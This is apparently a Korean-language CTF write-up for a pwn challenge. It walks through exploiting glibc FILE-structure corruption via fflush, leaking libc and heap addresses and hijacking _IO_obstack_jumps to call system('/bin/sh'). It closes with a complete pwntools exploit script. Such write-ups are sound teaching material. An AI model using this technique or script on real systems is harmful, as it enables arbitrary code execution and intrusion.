문제 이름부터 _IO_FILE의 냄새가 난다. 문제에서 주어진 코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);
#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)
int main(void){
FILE *fp;
alarm(60);
write_str("Play with FILE structure\n");
if(!(fp = fopen("/dev/null", "r"))){
write_str("Open error");
return -1;
}
fp->_wide_data = NULL;
for(;;){
switch(menu()){
case 0:
goto END;
case 1:
fflush(fp);
break;
case 2:
{
unsigned char ofs;
write_str("offset: ");
if((ofs = getint()) & 0x80)
ofs |= 0x40;
write_str("value: ");
((char*)fp)[ofs] = getint();
}
break;
}
write_str("Done.\n");
}
END:
write_str("Bye!");
_exit(0);
}
static int menu(void){
write_str("\nMENU\n"
"1. Flush\n"
"2. Trick\n"
"0. Exit\n"
"> ");
return getint();
}
static int getnline(char *buf, int size){
int len;
if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
return -1;
if(buf[len-1]=='\n')
len--;
buf[len] = '\0';
return len;
}
static int getint(void){
char buf[0x10] = {};
getnline(buf, sizeof(buf));
return atoi(buf);
}
2번 메뉴에서 FILE* 로 선언된 변수 안에 오프셋으로 값을 조작 할 수 있고 이를 통해 _IO_FILE 구조체에 있는 값을 아무거나 덮을 수 있다.
그리고 1번 메뉴에서 그 fp를 fflush 한다. 여기 까지 오면 fflush 를 어떻게 잘 해야겠다는 생각을 할 수 있다. 여기서 특이한 점은 _wide_data 를 지우기 때문에 해당 멤버 관련된 여러 파일 스트림 함수 (_IO_wfile_...) 를 통한 임의 코드 실행이 불가능 하므로, 다른 공격 벡터를 생각 해야한다.
그 전에 먼저 libc leak을 진행해야 하는데, 파일 스트림에서 leak 관련된 테크닉으론 well-known인 stdout libc leak을 우리는 잘 알고있다. 모르면 다음 링크 참고 (https://rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak)
즉 위 글에서 핵심은 _IO_write_base와 _IO_write_ptr을 libc 가 존재하는 영역으로 세팅해서 출력 과정에 libc 가 leak 되는 것이다. 하지만 문제에서의 fp는 /dev/null 을 open 하고 있기 때문에 _IO_write_base와 같은 영역에 아무 주소도 세팅 되어있지 않다.
그래서 먼저 저 영역에 알맞은 주소를 세팅해야 한다. 여러 함수를 살펴본 결과, _IO_doallocbuf 라는 함수는 인자에 File Stream Structure를 넣으면 _IO_buf_base 와 _IO_buf_end 가 힙 주소로 세팅된다.
그리고 해당 멤버를 _IO_write_base와 _IO_write_ptr 에 옮겨야한다. 이걸 해주는 함수는 _IO_new_file_overflow 이다.
자세한건 해당 코드를 직접 뜯으면 되는데, _IO_buf_base 와 _IO_buf_end에 들어 있는 값을 _IO_write_base 와 같은 멤버 들로 모두 옮겨준다. 그럼 이제 모든 변수가 세팅 됐으므로, flag만 잘 세팅해주고 _IO_new_do_write 같은 출력 함수를 사용하도록 해주면 된다.
이건 원래 fflush 함수가 어떤걸 호출하는지 보면, _IO_new_file_sync 를 호출하게 된다. 안에 들어가면 _IO_do_flush 를 호출하고 이는 _IO_do_write를 호출하고 우리가 변수를 잘 세팅했다는 가정하에 heap에 깔린 주소를 출력하게 된다.
heap을 보면 libc가 역시 깔려 있고 libc leak을 한 뒤에 다시 _IO_write_base, _IO_write_ptr 을 main_arena+96, main_arena+96+8 로 세팅하면 힙 주소가 세팅 된다.
이제 원하는 함수를 어떻게 호출할지 생각해보자. 이건 구글을 뒤져가면서 찾았는데 _IO_obstack 관련 함수를 쓰면 된다.
두 가지 함수가 존재한다. _IO_obstack_overflow와 _IO_obstack_xsputn 이 있는데 두 함수 모두 매크로를 따라 분석해보면
함수 포인터가 존재하고 인자도 존재한다. 이를 조작해주면 된다. 관련 문서는 찾아보면 많으니 찾아보시길..핵심만 첨부하겠다.
# define CALL_FREEFUN(h, old_chunk) \
do { \
if ((h)->use_extra_arg) \
(*(h)->freefun)((h)->extra_arg, (old_chunk)); \
else \
(*(void (*)(void *))(h)->freefun)((old_chunk)); \
} while (0)
위에서 접근하는 변수는 모두 obstack struct의 멤버이고 이를 수행하기 위해 힙에 fake obstack을 만들어 주면 된다.
from pwn import *
r = process('./chall')
elf = ELF('./chall')
libc = elf.libc
def aaw(offset, value):
r.sendlineafter('> ', '2')
r.sendlineafter('offset: ', str(offset))
r.sendlineafter('value: ', str(value))
def aaw_size(offset, value, size=1):
for i in range(size):
aaw(offset + i, (value >> (8 * i)) & 0xff)
def fflush():
r.sendlineafter('> ', '1')
aaw(0xd8, 0xa8) # vtable
aaw(0x70, 0x01) # _fileno
aaw(0x00, 0x00)
aaw(0x01, 0x18) # flag
fflush()
aaw(0xd8, 0x58) # vtable
fflush()
aaw(0x20, 0x70) # write_base
aaw(0x28, 0x78) # write_ptr
aaw(0xd8, 0xa0) # vtable to sync
fflush()
libc_base = u64(r.recv(6)+b'\x00\x00') - 0x1e8f60
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
_IO_obstack_jumps = libc_base + 0x1e9260
main_arena_96 = libc_base + 0x1ecbe0
r.success(f'libc_base : {hex(libc_base)}')
aaw_size(0x20, main_arena_96, 0x8)
aaw_size(0x28, main_arena_96 + 0x8, 0x8)
fflush()
heap_base = u64(r.recv(6) + b'\x00\x00') - 0x2480
fake_obstack = heap_base + 0x2d0 - 0x10 - 0x100000000 # _IO_write_end
r.success(f'heap_base : {hex(heap_base)}')
r.success(f'fake_obstack : {hex(fake_obstack)}')
aaw_size(0xd8, _IO_obstack_jumps - 0x28, 8)
aaw_size(0xd8 + 0x8, fake_obstack, 8)
aaw_size(0x20, 0x0, 8)
aaw_size(0x28, 0x0, 8)
aaw_size(0x30, 0x0, 8)
aaw_size(0x38, 0x0, 8)
aaw_size(0x40, 0x0, 8)
aaw_size(0x48, 0x0, 8)
aaw_size(0x50, 0x0, 8)
aaw_size(0x58, system, 8)
aaw_size(0x60, 0x0, 0x0)
aaw_size(0x68, binsh, 8)
aaw_size(0x70, 0x1, 8)
fflush()
r.interactive()
'CTF' 카테고리의 다른 글
SECCON 2023 - selfcet (pwn) (0) | 2023.09.17 |
---|---|
CTF 풀거 (0) | 2023.09.14 |
SECCON 2022 - koncha (pwn) (0) | 2023.09.13 |
HITCON CTF 2023 - Full Chain (Wall Maria) (1) | 2023.09.11 |